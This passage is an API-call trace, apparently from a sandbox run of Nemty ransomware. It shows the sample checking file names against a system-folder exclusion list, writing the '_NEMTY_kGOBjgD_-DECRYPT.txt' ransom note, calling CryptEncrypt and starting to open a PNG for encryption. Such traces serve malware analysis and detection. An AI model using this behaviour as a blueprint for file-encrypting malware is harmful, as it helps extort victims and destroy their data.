lpString2="BOOTSECT.BAK") returned -1 [0061.977] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0061.977] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0061.977] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0061.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0061.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0061.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0061.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0061.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0061.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0061.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0061.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0061.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0061.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0061.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0061.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0061.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0061.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0061.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0061.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0061.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0061.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0061.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0061.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0061.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0061.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0061.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94338 [0061.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0061.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0061.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0061.977] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7e3f470, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd7e3f470, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd7e655d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0061.978] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0061.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0061.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c0 | out: hHeap=0x4f90000) returned 1 [0061.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0061.978] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Full", cAlternateFileName="")) returned 1 [0061.978] lstrcmpiW (lpString1="Full", lpString2=".") returned 1 [0061.978] lstrcmpiW (lpString1="Full", lpString2="..") returned 1 [0061.978] lstrcmpiW (lpString1="Full", lpString2="...") returned 1 [0061.978] lstrcmpiW (lpString1="Full", lpString2="windows") returned -1 [0061.978] lstrcmpiW (lpString1="Full", lpString2="$RECYCLE.BIN") returned 1 [0061.978] lstrcmpiW (lpString1="Full", lpString2="rsa") returned -1 [0061.978] lstrcmpiW (lpString1="Full", lpString2="NTDETECT.COM") returned -1 [0061.978] lstrcmpiW (lpString1="Full", lpString2="ntldr") returned -1 [0061.978] lstrcmpiW (lpString1="Full", lpString2="MSDOS.SYS") returned -1 [0061.978] lstrcmpiW (lpString1="Full", lpString2="IO.SYS") returned -1 [0061.978] lstrcmpiW (lpString1="Full", lpString2="boot.ini") returned 1 [0061.978] lstrcmpiW (lpString1="Full", lpString2="boot.ini") returned 1 [0061.978] lstrcmpiW (lpString1="Full", lpString2="AUTOEXEC.BAT") returned 1 [0061.978] lstrcmpiW (lpString1="Full", lpString2="ntuser.dat") returned -1 [0061.978] lstrcmpiW (lpString1="Full", lpString2="desktop.ini") returned 1 [0061.978] lstrcmpiW (lpString1="Full", lpString2="CONFIG.SYS") returned 1 [0061.978] lstrcmpiW (lpString1="Full", lpString2="RECYCLER") returned -1 [0061.978] lstrcmpiW (lpString1="Full", lpString2="BOOTSECT.BAK") returned 1 [0061.978] lstrcmpiW (lpString1="Full", lpString2="bootmgr") returned 1 [0061.978] lstrcmpiW (lpString1="Full", lpString2="programdata") returned -1 [0061.978] lstrcmpiW (lpString1="Full", lpString2="appdata") returned 1 [0061.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Full", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Full", cchWideChar=4, lpMultiByteStr=0x653ef10, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Full", lpUsedDefaultChar=0x0) returned 4 [0061.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Full", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Full", cchWideChar=4, lpMultiByteStr=0x653ef10, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Full", lpUsedDefaultChar=0x0) returned 4 [0061.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0061.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0061.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0061.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0061.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0061.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0061.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0061.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0061.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0061.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0061.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0061.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942b0 [0061.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0061.979] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0061.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0061.983] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.983] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0061.984] CloseHandle (hObject=0x3cc) returned 1 [0061.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0061.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0061.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0061.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942b0 [0061.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94328 [0061.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0061.985] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0061.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0061.985] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0061.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0061.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0061.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0061.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0061.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6340048 [0061.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0061.985] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0061.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0061.986] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.986] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0061.987] CloseHandle (hObject=0x3cc) returned 1 [0061.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0061.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0061.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94328 [0061.987] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd8967b90, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd8967b90, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0061.987] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0061.987] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd8967b90, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd8967b90, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0061.988] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0061.988] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0061.988] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2="...") returned 1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2="windows") returned -1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2="$RECYCLE.BIN") returned 1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2="rsa") returned -1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2="NTDETECT.COM") returned -1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2="MSDOS.SYS") returned -1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2="IO.SYS") returned -1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2="AUTOEXEC.BAT") returned -1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2="CONFIG.SYS") returned -1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2="RECYCLER") returned -1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2="BOOTSECT.BAK") returned -1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2="programdata") returned -1 [0061.988] lstrcmpiW (lpString1="1047x576black.png", lpString2="appdata") returned -1 [0061.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0061.988] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0061.988] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0061.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0061.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0061.988] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0061.988] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0061.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0061.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0061.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0061.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0061.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0061.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0061.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0061.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0061.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0061.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0061.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0061.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0061.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0061.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0061.989] Sleep (dwMilliseconds=0x5) [0061.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd898dcf0, dwHighDateTime=0x1d561e7)) [0061.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd898dcf0, dwHighDateTime=0x1d561e7)) [0061.992] GetLastError () returned 0xb7 [0061.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0061.992] GetLastError () returned 0xb7 [0061.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0061.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0061.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0061.992] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0061.992] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0061.992] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0061.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0061.993] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="oL9jTsb0zbChRgiO8Mo998KbE9WJ9qrAn+esK3brt1imVBhFfZC93bDwoGrg20y5\r\nRxX8McLnRMSmT8s8rrqQSHI6IsmFYKu3Dvxvcuf/ngJ1h5dyAKpxmaZvwmXuqa7n\r\nogn6ZeJV33OdhwoyEs4DWjkW0mp4/kGpZ8Btl6bhu3jmYM7frTLD5cgXuHGfwngV\r\nT2q1QG9BJ3YAs64ihPt0SoIzKNjyqsQ0qzOiQ2oxznWaZsvDSDGj0QsBexcVrgGG\r\nJPj/TTjiwcPYbRT69TIX609TK3j2QXYBAg4jkA9rJC90DjOOpA8YtEBY8huPZ5U+\r\nuDPkndSdMDkuKg3FRJbcsg==\r\n", pcchString=0x653e91c) returned 1 [0061.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0061.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0061.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0061.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0061.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0061.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0061.993] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0061.995] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0061.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0061.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, 